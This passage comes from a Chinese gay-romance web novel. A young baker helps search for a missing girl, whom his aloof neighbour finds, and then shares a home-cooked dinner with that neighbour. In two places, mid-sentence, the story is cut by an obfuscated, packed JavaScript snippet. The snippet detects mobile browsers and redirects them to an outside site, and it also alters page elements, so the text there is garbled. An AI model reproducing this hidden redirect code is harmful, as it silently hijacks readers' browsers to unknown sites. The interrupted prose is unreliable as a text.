上了年纪的都好做媒,聊着聊着,郑慧突然问:“姨一直没问,你想谈对象不?” “姨有个朋友,年纪跟你差不多,人也漂亮,啥时候介绍你们认识一下?” 卢答虽然不是本地人,但长得好看,灵秀生动,性格又好,还体贴,出门压个马路,都有不少人打探。 卢答本来敲着栏杆的指尖顿住,微蜷起来。他一时不知道说什么,不想撒谎,却也无法对郑慧和盘托出自己是同性恋,怕伤了人家的好意,斟酌了又斟酌才道:“谢谢姨,但我现在没有恋爱的想法。” 天朗气清,天空一望无际。没有乌云,城市光污染严重,也看不到星星,只有一轮月亮悬在天穹,月色水一样流淌下来。 卢答望着那片夜空出神。 怕郑慧还要再做媒,卢答头脑风暴,短短几秒就想出了个办法。 他放低了声音,半真半假道。 “其实,我有个……前任。我们从小一起长大。” “我还没在这段恋情里走出来。” 卢答适时地低头,他垂下眼,睫毛轻轻颤动,月光洒在他白皙的颈上,更显得脆弱。 郑慧还没怎么见过他失落又伤感的神情,顿时歇了一颗火热的红娘之心,反而劝着人:“人一生还长远呢,想开点孩子。” 卢答趁机吃完了最后一串鸡翅,才仰起头,四十五度望天,故作惆怅:“谢谢姨,我会坚强的。” 郑慧看他的神情更加怜惜了起来。 这可怜孩子…… 夜已深,两人没再聊多久,纷纷告别回了自己家。 * 不知道是不是因为睡前被冉让吓了一通,卢答今晚又做了噩梦。 窄巷细长,丰润青苔布满于石板之上,滑腻异常,巷尾蛇腹一般蔓延进更深、更暗的地方,望不到头。 卢答走啊走,不知不觉间黑暗如庞大的影子,入侵所有的空间,向卢答逼来。 卢答步步后退,几次打滑,在某个时刻发现自己身后不知何时起,空空如也,青苔路也消失不见。 卢答张口欲呼,却脚下一空,坠了下来。 卢答被黑暗吞入,又被拥抱,唇被衔住,舌被尽情占据,揉吻、舔舐,齿和齿磕碰的声音从口腔传到耳膜,鼓胀着震动,连大脑都嗡嗡作响。 幽暗中只有啧啧作响的亲吻声。 卢答被人抱在腿上,滚烫热意附着于粗糙舌尖,扫遍全身。有人在说话,声音沙哑,却使热意更加上涌。 轻如舔/弄的咬落到耳垂上,他含糊地叫卢答,爱不释手那圆润如珠的耳垂:“宝宝,好乖。” 卢答惊醒。 他掀起被子,看着潮湿的床单,琥珀眼沉沉,漂亮的脸阴晴不定,难得冷脸。 *** 那天阳台烧烤之后,卢答明显能感觉到郑慧对自己更热情了,平时隔三岔五让卢答去摘菜,现在煲个汤都给卢答端一盅。 短短几天内卢答就喝到了莲藕排骨汤、虫草花鸡汤、黄豆猪脚汤……不得不说,郑姨的手艺真好。 卢答捏了捏肚子,感觉本来就没多少的腹肌快没了,感叹道:真是让人烦恼的幸福啊。 想到腹肌,卢答不期然想起了冉让,冉让身材真是练得很好,有肌肉,但又不是大块头,精练有力。 真羡慕啊…… 思及此,他瞄了眼表,发现快三点了,默默地去理了下柜台,把刚出锅的蜂蜜小面包摆在了最外面。 郑芷正在收银台,笑道:“最近蜂蜜小面包销量好好,本来姐还在担心太甜了卖不出去呢。” 她以咏叹调唱道:“让~我~们~说~谢~谢~蜂~蜜~小~面~包~侠~” 卢答赞同地点点头。 是应该感谢某位每天准时准点购入三袋的人。 话音刚落,“蜂蜜小面包侠”推门而入。 卢答又瞄一眼表:果然是整点三点。 最近冉让每天在三点推门进来买面包,雷打不动,一分不差,卢答都有条件反射了。 他抬眼看去。 某位臭脸酷哥今天穿得也很帅,烟灰色的修身短袖,黑色工装裤,胸前垂着根银链条,简简单单,却被他穿得时髦,往那一插兜像街拍现场。 脸也帅得很时髦,卢答在心里用手给他比了个取景框,咔嚓照了一张。 酷哥说话也惜字如金,咬字懒懒的:“三袋。” 卢答应了声,没问他要什么,熟门熟路去给他拿蜂蜜小面包,然后看着冉让提着一兜和脸、穿搭都不符的美味小面包出去了。 旁边的郑芷已经习惯了这惊悚的一幕。 刚开始她还有点怕冉让那淡漠的表情和下三白眼,直到看到他要了数袋蜂蜜小面包,甚至边走边吃。 郑芷暴言:“那种反差就像斯内普教授换上了粉色斗篷,嗯。叠甲:没有说教授不好,也没有说粉色斗篷不好,此处仅仅称述此场景给我带来的疑惑。” 卢答:“那你很有求生欲了。” 她现在甚至能凑过来和卢答咬耳朵,兴味盎然地点评:“他穿这衣服也太好看了,你说我能要链接给我学弟买一套不。” 郑芷最近在搞年下姐弟恋,三句不离她的小奶狗。 卢答想了想,摸摸下巴,客观回答:“还是不要了,我觉得这种基础款反而很难穿出效果。” 而且这几件衣服也都是他给冉让买的,看似简单基础的款式,价格都不便宜。 郑芷:“高情商:很难穿出效果。低情商:挑人。” 卢答:“如果你的小奶狗有这个身材,那就当我没说。” 郑芷:“不如我当没听见,嗯。” “感觉蜂蜜小面包侠披个麻袋都好看。” 她的视线转向卢答,认真 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郑芷学着卢答的样子,磨着一次性筷子上的倒刺,答道。 “话说,童童为什么在二小上学啊,”吃着,卢答好奇发问:“三小不是离我们更近一点吗?” 他来一个月,就见郑萱和郑慧两个人天天奔波着送童童上学。 郑萱不跟母亲住在光明公寓,而是住在锦寓,但锦寓也离得不远,都在南区内。二小却在北区了,这中间不知道要横跨几条大道。 郑芷的神情有点踌躇,半晌都没说话。 卢答会察言观色:“没事,我就问问,不方便的话也没关系的。” 郑芷的筷子在米饭里乱扒拉:“其实——也没什么不方便的啦,我就是有点不知道怎么说。” “三小上学要在南区有房,童童上学那会儿,我姐还没买锦寓。她前夫是北区人,祖宅刚好划到了二小学区房那一片,童童就在二小上学。” “接送是苦了点儿,但孩子上学总是最重要的嘛。后来离婚,但换学籍很麻烦,而且新学校,人生地不熟的,童童连朋友都没有。我们打算等童童上初中,再把她转回来。” “原来是这样。” 卢答听她的称呼,又看那饭都要被戳烂了,察觉到郑芷不太喜欢前姐夫,便不再说话,默默地夹着碗里的番茄炒蛋。 郑芷却突然叹道:“你应该知道我姐离婚的事情吧。” 卢答点点头:“知道一点,听人提过。” 他说得斟酌:“他们说的……不太好听。” 他听楼下大爷大妈们聊过,有些人语气轻蔑,卢答不便复述。 郑芷了然地笑了,冷嗤:“那群碎嘴能说什么好话?” “我姐当时离婚,是因为那男的出轨。他还不同意净身出户,是我找人收集了他出轨的证据,才离婚成功的。” “但是总有些人对男人的错误视而不见,把事情都归咎到我姐头上,觉得她忍一忍就没事了。” 沉默半晌,两个人埋头吃饭,卢答道:“是这些人的错。” “他们或许是因为害怕,因为长久已来的权威被挑战;或许是因为嫉妒,有人能爬出沼泽,而有人却不断地下陷。这些阴暗的想法,让他们想通过诋毁别人来验证自己的成功。” “好像给人泼上了脏水,他们自己就是正确的一样。一群胆小鬼。” 卢答想起了什么,话语里带有微不可察的嘲讽。 转而,他又笑起来,眉眼弯弯,笑意柔和,仿佛刚才的冷意只是郑芷的错觉。 他很诚恳:“能做出离婚的决定,还把童童抚养得那么好,还会做很好吃的面包,萱姐很勇敢,也很厉害。” “谢谢你。” 郑芷莫名觉得眼眶有点酸,她笑道骄傲,很自得:“我也觉得我姐特别勇敢特别厉害。” “不过,”卢答想了想,又问:“转校的事情,你们问过童童吗?” 郑芷摇摇头。 卢答咬着筷子,含糊道:“其实你们可以问问童童,她是个内向但很有主见的孩子,说不定会有自己的想法。她未必不想和家人更久地待在一起。但也只是我的一些个人看法啦。” 郑芷点点头,认真地应下:“好,我找个时间跟我姐提一下。” 吃完饭,郑芷去打包,卢答站在一旁等她。 “老板,打包——要土豆丝,红烧肉,嗯……再来个蛋羹吧。” 老板动作麻利,很快装好。 “谢啦。” 郑芷提过来,正扫码付款,看见有电话,随手接起。 “喂?姐,我正吃完……什么!” 她声音突然拔高。 她手一松,嘭地一声,打包盒落在了地上,里面的菜洒了一地,汤水淋漓。 卢答猛地抬起头,心一跳,突然生出了些不好的预感,他皱起眉,下意识上前。 “怎么了?” 郑芷转过头,脸色惨白,浑然不觉那些菜汁溅到了自己的小腿上,右手还维持着通话的姿势。 “我姐说、说……童童丢了。” 4. 加个好友【修】 这消息像晴天霹雳。 郑芷简直要怀疑自己幻听了,本能地紧攥住手机,用力到指尖发白。 她愣了几秒,才反应过来发生了什么,拔腿就往外冲,中间慌不择路,踩住菜汤差点摔了一跤。 卢答反应极快,抬手扫码给老板转了三百:“不好意思叔,给您添麻烦了,家里有点急事我们先走了!” 话音没落,他已经匆匆地跟出去,追上了郑芷。 回到面包店,歇业的牌子已经挂上了,屋内气氛愁云惨淡。 郑萱脸上尤带着泪痕,正在打电话拜托人一起找,开着外放,卢答从她断断续续的叙述中听了解到过程。 今天是郑慧去接童童,阳春路发生了追尾,堵了快一个小时。郑慧打给童童,告诉她要晚点才能到,让童童先在教室待一会儿。 等到了二小门口,已经是晚上六点。 郑慧在门口左等右等,却没看见童童,家长不能进学校,她打给童童的电话手表,第一次没接通,第二次关机了。 郑慧再打给老师,老师却讶异地告诉她,童童在放学不久就离开教室了。 两人查证了门口的监控,发现童童五点十分就出来了。郑慧和保安一起找遍了学校四周,书店、文具店、饮品店……哪里都没有人。 “报警了吗?” 卢答去接了两杯热水,推到郑萱和郑芷面前。他不再笑,眉眼都沉着,身上那种开朗外向的气质褪去,看着格外可靠。 “报了,第一时间就……警察那边也派人一起找了,但现在还没消息。” 郑萱唇微微抖着,接过去,却没喝,只是捂在手心里。 她脑海很乱,思绪繁杂,之前看过的那些拐卖的新闻不断地在脑海里出现。 郑萱甚至情不自禁地开始想最坏的结果,牙齿微微打战,恐惧像滔天巨浪,她在里面不断浮沉,却抱不住任何一根浮木。 郑芷察觉到她在无意识地颤抖,抱住她,尽己所能地给她一点支撑:“姐,我在这里。” 她想说点什么宽慰郑萱,比如童童或许只是一时贪玩,或许、或许是迷路了……喉咙却沙哑干涩,什么话也说不出来。 她只能更紧地抱住姐姐,把自己的体温传递给她。影子投到墙上,紧紧相依,一高一低。 三人沉默半晌。 郑萱突然站了起来:“我要去找童童。” 卢答伸手拦住她:“萱姐,等等!你现在情绪波动厉害了,不适合一个人不能出门,万一路上出了什么事情……” 郑萱摇了摇头,她头发微乱,泪痕干涸在脸上,神色却坚毅。 “让我干坐着,我做不到,我没有办法不去担心童童,她刚出生时才那么大一点,我想做点力所能及的……” 卢答打断她,朝她晃晃手机屏幕:“所以我刚约了保全公司,他们一会儿就到了。” “你一个人不行,我们一起去。” * 坐在疾驰的车上时,沉浸在焦虑里的郑芷还有点懵。 她看着车厢里几个高大壮实的男人以及后面紧跟着的一脸车,犹豫问道:“这些……都是你找的人吗?” “嗯。” 卢答正在低头打字,手指飞快动着,屏幕的光映在眼底,秀美的侧脸看起来居然有点陌生。 下一瞬,他抬起脸,朝郑芷安抚地笑了笑:“他们身手很好,勘测找人也利索。” 熟悉的那个卢答又回来了。 这阵仗是不是有点太大了……郑芷想问,但又确实心焦,最后只能默默道:“谢谢你。” “小事。”卢答的注意力还在另外的事情上,他叫住郑萱:“萱姐,童童最近有什么不对劲吗?” “为什么这么问?” 郑萱问,却也努力思索了起来:“好像和平时没区别,今天上学前还跟我告别,说妈妈晚上见。” 尾音已近哽咽。 卢答道:“因为童童乱跑的可能性不大,会不会是和朋友约好了去哪里玩?” 郑萱摇头否决:“不会的,她要是有约会告诉家里。而且老师也给童童比较要好的朋友家打过电话了,都说没见过也没约过童童。” 又说了几个想法,纷纷被否决。 气氛沉闷下来。 童童是个很乖巧的女孩,几乎没有乱走的可能。 卢答沉吟着,压下微不可察的急躁,努力思索,指尖习惯性地轻轻敲击着。会是什么情况呢,让她提前走出校门…… 正在思考,来了个电话。来人没有备注,一串数字跳动在屏幕上。 卢答接起,寥寥几语:“对,我们快到了。嗯,好,你也小心点。” 他戴着耳机,郑芷听不见对面的人都说了些什么,只看见挂完电话,卢答眉心舒展开了些。 她被这个电话提醒了,苦笑道:“钱还没付。” 那份她失手滑落的饭。 当时她实在太着急了,完全没想起这茬,还把人家店里弄乱了。 没想到一旁的卢答道:“饭钱吗?我付了,也赔了,不用担心。” “都会好的。” 他把手放在郑芷小臂上,很克制也很体贴地拍了两下:“没事的,一切都会好的。” 力度很轻,但莫名让人心中一定。郑芷闷闷地应了一声,转头擦了擦眼泪。 坐在前排的郑萱却像被“钱”提醒了什么一样,抬起头说:“我突然想起,童童这几天都跟我要了一点钱。” *** 二小正对着鸿远路,是文具、打印店和书店一条街,校门口卖小吃的推车井然有序地排着,生意都兴隆。 卢答见有警察带着童童的照片,一家家问过去。但校门口放学时人流量极大,童童个头又不高,众人都摇头,表示没见过这个小女孩。 夜色渐深,店面都开了灯,温暖澄明。只是这一片阑珊的灯火距卢答几人很远。 卢答和郑芷走进街边的店铺调监控询问,只是也依旧没什么好消息。两人无法,只能留下联系方式,希望有人能提供一些线索。 问了半条街,两人暂作休息,就地坐在路边,郑芷买了两瓶水,递给卢答。 “谢谢。” 卢答接过来,望向对面,觉得思绪陷进了迷雾里。猫猫发夹放在口袋里,他伸手摩挲了一会儿,心里很沉重。 郑芷打电话和姐姐通了下消息,苦笑:“现在只能说没有消息就是最好的消息了。” 实在焦心,没歇多久,两人便起身,打算继续寻找。 有几个小孩打打闹闹地跑了过去,你捶我一下,我踢你一脚。 卢答的目光落在那群小孩身上,眉先是紧紧蹙着,然后便像是想到了什么一样,倏地松开:他之前怎么就没想到呢…… 卢答懊恼,却顾不上那么多了。他有了新思路,却又怕空欢喜一场,白白让郑芷期待。 他便找了个借口,去旁边打了几通电话,把自己的猜想简单说了说,拜托冉让去找。 郑芷在原地神情低落,见卢答回来,也没多问,两人继续一家店一家店问过去。 * 时间焦灼地流逝,两个小时过去了。两人找完这一条街,又走回了二小门口,有点茫然地对望着,都在彼此眼底发现一点不可言说、细微的忧惧。 正这时,有汽车驶过,车侧两束灯柱刺目,卢答抬起手,遮了一下。 再抬眼时,卢答看见驶走的汽车后还有一个人,正骑着车朝自己过来。 他工装裤扎进靴里,黑背心外的皮衣很眼熟,脚轻点在地上,轻松地控制住车,剑眉下一双黑曜石般的眼睛,直直望向卢答。 正是冉让。 视觉有延迟,眼底似乎还蔓着炫目的白光,最开始卢答看不清冉让,只能望见一个大概轮廓。 但正如冉让熟悉自己一样,卢答也同意熟悉他,即便是轮廓,他也能轻松地辨认出冉让。看他朝自己而来,虽然看不清楚,但卢答猜大概又蹙着眉,显着凶相。 他的心缓缓落定,冉让来,就说明事情解决了,这是过往冉让给卢答的无可替代的安全感。他心里松软,情不自禁地抿嘴微笑起来。 冉让还没来得及说话,郑芷先开口了,语气又惊又喜:“童童!?” 卢答才看见冉让身前还有个瘦小的人影,蹲在踏板上,听见郑芷叫她,便依依地扑进郑芷怀里。正是他们找了一晚上的童童。 * 郑萱很快赶过来了,三个人喜极而泣地拥在一起。 卢答站在远处,看着这一幕慢慢地吁出一口气,才觉得胸腔里乱跳的心真正安定下来。 他问:“你在哪儿找到她的?” 冉让:“路边捡的。” 冉让身量高挑,此时倚在坐垫上,两条长腿随意地支在地面上,动作懒散,却蕴含着一种爆发力。他胸前的项链垂落,不时在夜风里晃动,碰撞间发出清脆的响声。 动作潇洒不羁,坐骑平易近人。 人是酷哥,车也是辆好车。 卢答把视线从他身下的哈喽共享电动车上移开,忍住笑意:“你的出行方式还挺特别的。” “嗯。”冉让点点头,道:“打车会堵。共享电动车很方便, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344665|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能限速。” 卢答忍不住戏谑他:“人不可貌相。” 冉让看着不远处频频投来视线的民警,语气里终于带上点无奈。 他眉峰松开放平,神色不再是那副拒人于千里外的淡漠:“报警的时候还差点被当成骗小孩的。” “我看着很像坏人吗?” 卢答看他这一身散发着“我不好惹”气息的穿搭和这张写着“我非常不好惹”的酷帅脸,觉得误会也是人之常情。 冉让顺着他的低头看了眼,被自己胸前的链条闪花了眼,沉默两秒:“……行,是有点像。” 冉让这种一本正经的面孔配上这种吐槽的话,实在很有反差萌。 卢答忍不住笑。他笑起来半弯的眼睛璨璨生光,极富有感染力。 冉让见他酒窝都笑出来了,嘴角情不自禁勾了一下。真奇怪,卢答身上似乎装了个他的开关,他一看见卢答笑,就也觉得开心。 卢答笑够了,状似不经意地抹了把眼睛,点走眼角的湿意。 他把自己的手机打开,递到冉让面前,又变回笑盈盈的那幅模样,只是声音还发着闷:“加个好友?” 冉让忍住想给他拭泪的冲动,闷闷应声。 “……好。” *** 结束一切回到家时卢答已经精疲力尽。 他强撑着洗完澡,困得眼睛都要睁不开了,还是去冰箱前倒了杯奶。 卢答发育期比别人都慢一步,生长迟缓,中学为了长高狂喝牛奶,后面个子拔起来了,这个习惯却一直保留到了现在。 冰牛奶入口透心凉,卢答把杯子在料理台上一放,洗漱完打着长长的哈欠去睡觉。 * 许是今天经历了太多,这一觉格外沉。 卢答一直睡到了下午,才醒过来。阳光从窗帘隙里漏进来,小小一块浅金色,却点亮了整个卧室。 腰酸背痛,思绪钝钝,卢答盯着那块阳光半天,不舍得起床,闭着眼摸索手机。 不出意料,消息雪花一样纷纷来。 有表达谢意的郑芷郑萱,打卡一样慰问的崔溯洄,家庭群也有新消息。 卢答先打了个电话问童童的情况,郑芷的声音喜忧参半,说童童高烧不退,估计是吓着了,正在住院。 卢答慢慢地知道了昨天的事:童童带着钱去文具店,被路过的大孩子勒索,慌不择路地逃跑,迷路在了小巷里,被路过的冉让捡到。 卢答准备去看看童童,和郑芷约了个时间,才挂了电话。 郑芷又发消息给卢答,说给他放几天假。卢答很快乐地应了,情不自禁在床上打了个滚。 正开心,备注为妈妈的置顶发来了新消息。 卢答指尖微顿,脸上的笑容慢慢消失。他迟疑了半天,还是没点开那几条语音,只是简单地报了个平安。 【巧克力几分熟】:我很好,不用担心。 【巧克力几分熟】:你和爸爸照顾好自己。 回完消息,他关掉软件,把手机扔到旁边,有点想叹气。 本来帮到人的好心情荡然无存。 卢答仰躺在床上,看着天花板,烦恼像个乱线团,理了半天也解不开。 他再打开手机,和冉让的聊天还停留在加好友的讯息上。 【R】:我是冉让 “你已添加了R,以上是打招呼的消息。” 卢答点进冉让的纯白头像,看他的朋友圈。和简约的名字及头像不同,冉让的朋友圈背景是一颗美丽的蓝色宝石。 这种宝石叫帕拉伊巴碧玺,产自巴西,有“碧玺之王”的美誉,价格昂贵。帕拉伊巴碧玺在光下能现出霓虹蓝,水蓝色鲜艳夺目,具有极高的饱和度,独特美丽。 卢答一向喜欢漂亮宝石,情不自禁放大看大观察:这颗帕拉伊巴切成了滴珠形,顶部较窄而底部较宽,模仿了自然界的水滴,截面火彩璀璨。 比卢答收藏的那一颗还美。 卢答看得手痒痒,开始怀念家里那一柜子漂亮宝石。 “真好看……” 他喃喃,退出时还在脑海里描摹这颗帕拉伊巴的形状,走神的结果就是手一滑,拍了拍冉让。 “你”拍了拍“R”说我饿了 。 吓得什么漂亮宝石都从卢答脑海里飞走了。他尴尬了几分钟,决定假装自己不知道,好一会才给冉让发。 【巧克力几分熟】:不好意思,误触。 他看见备注变成了“对方正在输入中……”,但过了很久之后冉让才回复,依旧惜字如金。 【R】:没事 5. 节节败退【修】 躺着躺着,卢答不知不觉睡了回去。 再醒来时,饥肠辘辘。 卢答打了个哈欠,揉着眼睛坐起来,发现外面太阳已落。一点沉郁的夕光飘进来,浅淡而缥缈。 他透过窗帘缝隙往外看,世界蓝莹莹,宛如置身在海底一般。 卢答梦醒,恍惚几秒,那瞬间不知道今夕何夕。 许是那天蓝得人心里朦胧,卢答想起在家的时候,熬夜画图后也会一觉睡到傍晚。 家里人知道他在补觉,都轻手轻脚,敲敲门,见没人应,阿姨就替卢答在灶上温一盅汤。 如果长睡不醒,还会有人拧开卧室门,捏自己的脸,手动叫卢答起床:“醒醒,再睡晚上又睡不着了。” 然后卢答游魂一样跟着他下楼,被盯着吃完饭。 卢答打住思绪,垂下眼,说不清心里什么感觉。他情不自禁地反问自己:离开家来到这里,真的能找到自己想要的答案吗? 但惆怅的同时,心底又有一丝兴奋感,刺刺得像电流闪过。这是第一次他主动选择离开家,来到这么远的地方。 腹中一阵雷鸣,打断卢答陷入哲思的忧郁王子状。马斯洛需求理论把人剖析得明明白白,人饥饿的时候,生存需求排在第一位。 卢答只剩下觅食的本能。 他脚步发软地站起来,套上衣服,动作突然一顿。 门外飘来一阵香气,浓得卢答怀疑自己还没睡醒。他循着香气出去,看见对门的冉让家半掩着门,泄露出半室微光,在黑暗的楼道里明亮得像个陷阱。 卢答站在原地纠结了一会儿,还是没抵抗住诱惑,一步步挪了过去。 可恶!怎么会这么香…… 到底做了什么好吃的! 或许是饿久了,或许是刚睡醒,他甚至冒出了一个胆大包天的念头:“能不能去冉让家蹭点饭?” * 要走到冉让门口了,卢答想了想,又折回家里,从柜里摸出了前段时间买的零食,然后小跑回去。前段时间网购,他顺手买了这个口味的巧克力,到货才反应过来。 他不喜甜,不爱吃这款。但说不上来因为什么,卢答垂眸看了眼盒子上的品牌,却没有选择退货,而是把他塞进了零食柜的底层,眼不见为净。 现在,这盒巧克力倒是起到了作用。 卢答站在门前,犹豫再三,还是叩了门:“有人吗?” 没人应声。 不在家吗? 卢答又敲了敲,竭力忍住从门缝偷看的欲/望,加重了音量:“您好,请问有人在吗——” 话音未落,门突然打开了。 冉让粗粝的声音微哑,居高临下地冷淡发问:“有事?” 他还是穿着无袖背心,手拄着门,头几乎顶到了门框,像小山一样把光遮了大半,整张脸隐在阴影里,英气的眉拧着,压迫感十足。 怎么每次见面都是一副臭脸样。 但他身后隐隐飘来一阵摄人心魄的饭香。 卢答喉结一动,莫名其妙想起了一个烂梗:兄弟你好香…… 他看着冉让肌肉线条分明的小臂,把原来的想法抛到了九霄云外,改口:“没、没事,就是想提醒你一下门没关。” 卢答一本正经地胡扯:“楼里人来人往的,就要注意财产安全。” 冉让点了点头,正要关门,见卢答没动,递来一个眼神,卢答看回去,眼巴巴。 冉让无法,只得再次开口:“还有事?” 冉让挡得住光,挡不住那飘香的味道,卢答正在尝试能不能闻出具体的菜,准备等会按图索骥点外卖。 卢答依依不舍地把视线收回来,眼睛里似有水光,亮晶晶的:“没事……” 他暂时还不想走,想找个理由再留一会儿。卢答突然想起了什么,把怀里的东西递给冉让。 “喏,这个送你,就当乔迁礼物?” “不用……” 不等冉让拒绝,卢答不由分说地塞进他怀里。 冉让低头。是盒进口巧克力,包装精美,牌子上的英文很眼熟。 他手动动,却把巧克力推了回去:“不用。” 客气得很生分:“谢谢。” 示好失败,卢答也不气馁。一不做二不休,他决定换种方法再尝试一下:“你是在做饭吗,闻起来好香啊。” 冉让:“嗯。” 卢答看他那惜字如金的模样,有点怒:多说个字是收费吗?平时在床上有这么沉默寡言就好了。 但是饭菜太香,卢答忍辱负重,决定打直球。他想了想,挂上了自己人见人爱的微笑:“闻起来真的很香,可不可以分我点尝尝呀?我可以出钱的。” 冉让依旧冷酷地拒绝了:“不分。” 这人简直铁石心肠! 冉让慢悠悠地道:“我不缺钱。” 卢答本在心里冷笑,转念又想起冉让的卡全在自己手里:毕竟吵归吵闹归闹,工资还是全上缴。 心头那点怒意被嗤啦一下浇熄,卢答心平气和,重新露出微笑,酒窝也挤出来,琥珀色眼睛里倒映出冉让身后细碎光影,可人得不像样。 大概是刚睡醒,卢答整个人格外懒洋洋,头发微乱,散发着不自知的倦与暖意,像一块大号蜜糖,甜蜜、黏牙,吃之前就让人满含期待。 冉让喉结滚动了一下。 他听见卢答放柔了声音,和自己告别:“好的,那再见。” 冉让站在原地,看着他像过来时一样,慢慢磨蹭回去。 被接连拒绝几次,卢答头发也仿佛郁闷似地垂下来了,背影恹恹,不似平时的鲜活灵动。 卢答背对着冉让,慢慢走回家,在心底数着步数:一步、两步…… 数到六,他听到一声微不可察的叹气声从身后传来,然后是熟悉的粗粝嗓音。 冉让道:“进来吧。” 卢答得了便宜还卖乖:“那我给你多少钱好?” 冉让看了他一眼,扯扯嘴角:“就当……你提醒关门的报酬。” 冉让把门开完,示意卢答进来。侧身时,他目光很快地在卢答身上掠过,蜻蜓点水一般,却把他整个人笼在自己眼底。 见卢答无知无觉一般,喜滋滋地跟进来,冉让暗自咬牙:怎么感觉自己又败北了,这不对吧?来的一路上雄心壮志,建设着要赢卢答的想法,怎么一面对他,自己就节节败退啊? 冉让愤愤地想:卢答绝对、绝对给自己下蛊了吧。 *** 冉让家的布局和卢答家类似,只是装饰更为简单,色调以黑白为主,除了必需品外没多少家具,显得极空旷。 厨房里的设施倒很齐全,刀具按大小排列挂在墙上。 台面整洁,只有几盘菜被盘子扣着保温,灶台上正炖着汤,咕嘟咕嘟的冒着热气,鲜香浓郁,最明显的香气正由此而来。 桌上铺着白色、带蕾丝的餐布,中间还摆了一束粉白的香雪兰,花瓣上还滚着露水,鲜妍娇嫩,却和整个房间格格不入。 卢答笑了:“你也喜欢香雪兰?” 冉让把围裙套回去,没回答他,只道:“随便坐。” 笑话,他绝对不会再轻易上卢答的当!就从不回答卢答开始。 卢答努力把眼睛从他勒出的精壮腰身上移开,环视一圈后积极举手:“我帮你把菜端出来。” 哪有来蹭饭坐着不动的道理,况且客厅根本没地方坐。 冉让可有可无地点头:“随便你。” 但等卢答要去,他又叫住卢答,在柜里翻了双隔热手套给他。 卢答伸出手等着他给自己戴上,冉让也顺手地替他戴上。 习惯成自然,太顺手,两个人都没反应过来,等又过几秒,两个人才一僵,想起在装不熟,又默契地假装刚才一切都没发生过。 冉让先一步进厨房,给汤调味,卢答跟在他身后,把菜端出来,掀掉盘子,就忍不住惊叹:“哇!” 菜不多,但摆盘精致:蛋黄鸡翅,蒜香口蘑牛肉粒,清炒菠菜,还有一盅番茄豆腐汤。 这一桌黄红绿相间,道道卖相极佳,不仅色彩和谐,而且香味扑鼻。 冉让又端来两碗颗颗饱满的米饭。 卢答夹了个鸡翅,吃得眼泪差点掉下来:蛋黄鸡翅外酥里嫩,咸香酥脆,鸡翅外层吃起来沙沙的,但一抿,咸蛋黄味就弥漫在口腔里。 蒜香口蘑牛肉粒奶香浓郁,口蘑鲜美,肉粒轻轻一咬就在嘴里爆浆……菠菜爽口清甜,番茄汤豆腐嫩滑,好吃得让人连舌头都想吞了。 卢答都不知道自己前一个月是怎么过来的。他风卷残云,吃得很快,还不时唔唔赞美冉让的厨艺,吃得太投入,也没注意到冉让都没怎么动筷子,只是看着自己吃。 冉让手撑着下巴,目光专注地看着埋头苦吃的卢答,倒了杯温水推过去。 他本来就吃过晚饭,这桌是特地为卢答做的,因此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344666|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没吃几口。 冉让平素紧绷的眉头此时松开,神情褪去了不近人情的冷厉,头顶的灯光笼下,居然现出几分温柔,只是卢答一概不知。 卢答自己的手艺实在一般,没对比的时候还能勉强入口,吃到冉让做的饭后,他真觉得这一个月都太亏待自己的嘴了。 吃饱喝足后,才想起要和冉让客气。他难得有些不好意思,便双手合十朝冉让晃了几下,像商店里的招财猫,喜气洋洋。 卢答笑眼弯弯,发丝细碎地垂在额前。他身上带着极讨人喜欢的特质:开朗明亮,虽然自来熟,却始终把握着那个度,不曾真正越界。 卢答再次把那盒巧克力递出去。 分明冉让没给过他什么好脸色,他说话却亲昵,尾音上扬,轻快极了:“拜托拜托,就当帮我解决了?我之前买错了,这个口味对我来说太甜了。” 话都说到这份上了。 抗拒的话消融在喉咙口,冉让接了过来。心想是卢答真是太爱撒娇了,真没办法。 接下来,还是没人说话,但卢答能察觉到气氛又缓和许多。 等吃完,卢答主动跑去洗碗。 他厨艺很烂,但在家也经常给冉让打下手,洗碗倒是熟练工,一通洗刷,甚至小声哼起了歌。 餐桌正对着厨房,冉让坐在桌边,一眼就能看见卢答玩泡泡的背影。 卢答清瘦,正面看时还不显,从背后看时,一节颈白玉似地蜿蜒入衣领,肩颈线条利落。 冉让突然觉得齿根发痒,只得拆了那盒巧克力,他捻了一颗,慢慢地咬碎外壳,感受到它在齿间化开。 流心溢出来,香甜黏腻。他看着卢答动作间格外明显的腰身,齿根更痒了。 * “再见……” 卢答站在门口,告别未说完,冉让已经砰一声把门甩上了。 卢答退后一步,想着冉让关门前的臭脸,摸了摸自己的鼻子:谁惹他了?吃饭时还好好的。 他完全没考虑过这个人选是自己的可能性。 但左右已经吃饱喝足,他也懒得去思考冉让变脸的原因,踢踏着拖鞋回自己家。 回家找出平板,卢答正襟危坐地打开Procreate准备继续完善作品集。 今晚心情愉快,但手感很一般,卢答啧一声,打了个草稿就退出重开一张新的画布 。 反反复复五六次,卢答终于认命,退出打开视频软件,找了部文艺片看。 睡前他照例倒了杯牛奶,牛奶哗哗地落进杯子里,卢答却突然觉得有点奇怪。 不待多想,崔溯洄弹了个电话过来,卢答就顺手把牛奶放料理台上,准备晚点来喝。 